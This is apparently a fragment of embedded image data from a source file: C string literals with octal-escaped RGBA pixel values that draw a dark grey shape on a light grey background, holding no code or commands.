"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377ppp\365"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\236\236\236\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\232"
"\227\227\377ppp\377ppp\366ppp\377ppp\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377|{{\377p"
"pp\377\236\236\236\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\232\227\227\377ppp\377ppp\366ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\230\225\225\377\206\204\204"
"\377utt\377ppp\377ppp\377\241\241\241\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\222\222\222\377ppp\377ppp\377wvv\377\210\206\206\377\232\226\226\377\234"
"\230\230\377\234\230\230\377\232\227\227\377ppp\377ppp\366ppp\377ppp\377"
"\234\230\230\377\234\230\230\377\212\207\207\377rrr\377ppp\377ppp\377qqq"
"\377\177\177\177\377\312\312\312\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\303"
"\303\303\377|||\377qqq\377ppp\377ppp\377ttt\377\215\213\213\377\234\230\230"
"\377\232\227\227\377ppp\377ppp\366ppp\377ppp\377\233\227\227\377\202\200"
"\200\377ppp\377ppp\377xxx\377\250\250\250\377\321\321\321\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\321\321\321\377\253\253\253\377www\377ppp\377qqq\377\204\203"
"\203\377\232\226\226\377ppp\377ppp\366ppp\377ppp\377\202\200\200\377ppp\377"
"ppp\377\231\231\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\321\321\321\377\231"
"\231\231\377ppp\377ppp\377\204\202\202\377ppp\377ooo\367ppp\377ppp\377pp"
"p\377ppp\377\252\252\252\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\252\252\252\377ppp\377qqq\377ppp\377"
"ooo\367ppp\377ppp\377ppp\377\216\216\216\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\220\220\220\377ppp\377ppp\377ooo\367ppp\377ppp\377qqq\377\317"
"\317\317\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\315\315\315\377qqq\377"
"ppp\377ooo\372ppp\377ppp\377\211\211\211\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\207\207\207\377ppp\377ppp\374"
"ppp\377ppp\377\250\250\250\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
